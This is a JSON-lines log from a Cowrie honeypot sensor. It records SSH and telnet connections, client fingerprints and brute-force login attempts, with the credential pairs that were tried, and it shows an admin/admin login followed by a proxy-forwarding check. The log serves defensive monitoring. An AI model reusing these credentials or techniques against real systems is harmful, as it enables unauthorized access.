{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:38.786506Z","src_ip":"103.27.238.120","session":"356c50726680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":41428,"dst_ip":"10.17.0.5","dst_port":22,"session":"1adf6ba73b0a","protocol":"ssh","message":"New connection: 147.45.51.138:41428 (10.17.0.5:22) [session: 1adf6ba73b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:39.494406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:39.498078Z","src_ip":"147.45.51.138","session":"1adf6ba73b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100381","message":"login attempt [root/100381] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:39.576965Z","src_ip":"103.27.238.120","session":"356c50726680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:39.586591Z","src_ip":"147.45.51.138","session":"1adf6ba73b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:39.980599Z","src_ip":"147.45.51.138","session":"1adf6ba73b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:40.844532Z","src_ip":"103.27.238.120","session":"356c50726680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:41.072521Z","src_ip":"147.45.51.138","session":"1adf6ba73b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.16974306106567,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:41.987756Z","src_ip":"170.64.224.25","session":"c7df624ed83c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35484,"dst_ip":"159.203.135.109","dst_port":23,"session":"deea7fd3468b","protocol":"telnet","message":"New connection: 170.64.224.25:35484 (159.203.135.109:23) [session: deea7fd3468b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:46.025878Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44536,"dst_ip":"10.17.0.5","dst_port":22,"session":"884303a79d12","protocol":"ssh","message":"New connection: 8.210.75.243:44536 (10.17.0.5:22) [session: 884303a79d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:46.311798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:51:49.115036Z","src_ip":"8.210.75.243","session":"884303a79d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:00.454350Z","src_ip":"8.210.75.243","session":"75b9fcc09498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":40910,"dst_ip":"10.17.0.5","dst_port":22,"session":"8948bf73b1f2","protocol":"ssh","message":"New connection: 176.32.39.21:40910 (10.17.0.5:22) [session: 8948bf73b1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:04.215356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:04.220012Z","src_ip":"176.32.39.21","session":"8948bf73b1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:04.336053Z","src_ip":"176.32.39.21","session":"8948bf73b1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321qwe","message":"login attempt [root/0987654321qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:04.684200Z","src_ip":"176.32.39.21","session":"8948bf73b1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:05.802181Z","src_ip":"176.32.39.21","session":"8948bf73b1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34152,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0a918e360b8","protocol":"ssh","message":"New connection: 91.92.40.4:34152 (10.17.0.5:22) [session: a0a918e360b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:17.170698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:17.173492Z","src_ip":"91.92.40.4","session":"a0a918e360b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:17.253873Z","src_ip":"91.92.40.4","session":"a0a918e360b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"321","message":"login attempt [git/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:17.498091Z","src_ip":"91.92.40.4","session":"a0a918e360b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:18.581743Z","src_ip":"91.92.40.4","session":"a0a918e360b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:22.711242Z","src_ip":"8.210.75.243","session":"5a4151ec6149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00301122665405,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:25.067981Z","src_ip":"170.64.224.25","session":"49d9e10bbb4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.09536671638489,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:36.121152Z","src_ip":"170.64.224.25","session":"deea7fd3468b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40506,"dst_ip":"10.17.0.5","dst_port":22,"session":"38b025e178f7","protocol":"ssh","message":"New connection: 8.210.75.243:40506 (10.17.0.5:22) [session: 38b025e178f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:45.827658Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45512,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bd8c9fa2bee","protocol":"ssh","message":"New connection: 45.148.10.121:45512 (159.203.135.109:22) [session: 2bd8c9fa2bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.013229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.018584Z","src_ip":"45.148.10.121","session":"2bd8c9fa2bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.103731Z","src_ip":"45.148.10.121","session":"2bd8c9fa2bee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.354028Z","src_ip":"45.148.10.121","session":"2bd8c9fa2bee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.439137Z","session":"2bd8c9fa2bee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.523532Z","src_ip":"45.148.10.121","session":"2bd8c9fa2bee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.526473Z","src_ip":"45.148.10.121","session":"2bd8c9fa2bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.611615Z","src_ip":"45.148.10.121","session":"2bd8c9fa2bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45524,"dst_ip":"159.203.135.109","dst_port":22,"session":"b91545eeb717","protocol":"ssh","message":"New connection: 45.148.10.121:45524 (159.203.135.109:22) [session: b91545eeb717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.695453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.701207Z","src_ip":"45.148.10.121","session":"b91545eeb717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:46.786291Z","src_ip":"45.148.10.121","session":"b91545eeb717","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:47.042810Z","src_ip":"45.148.10.121","session":"b91545eeb717","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:47.130292Z","session":"b91545eeb717","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:47.216282Z","src_ip":"45.148.10.121","session":"b91545eeb717","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:47.219601Z","src_ip":"45.148.10.121","session":"b91545eeb717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:47.307627Z","src_ip":"45.148.10.121","session":"b91545eeb717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:52:49.889214Z","src_ip":"8.210.75.243","session":"c52fc82f62a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33614,"dst_ip":"159.203.135.109","dst_port":23,"session":"a560eecf926a","protocol":"telnet","message":"New connection: 170.64.224.25:33614 (159.203.135.109:23) [session: a560eecf926a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:15.009664Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52644,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fe1c615a62b","protocol":"ssh","message":"New connection: 8.210.75.243:52644 (10.17.0.5:22) [session: 8fe1c615a62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:21.192206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:21.269742Z","src_ip":"8.210.75.243","session":"8fe1c615a62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52068,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc4ebc87ba0","protocol":"telnet","message":"New connection: 170.64.224.25:52068 (159.203.135.109:23) [session: 2fc4ebc87ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:26.381115Z"}
{"eventid":"cowrie.session.closed","duration":10.150446891784668,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:53:36.531351Z","src_ip":"170.64.224.25","session":"2fc4ebc87ba0","protocol":"telnet"}
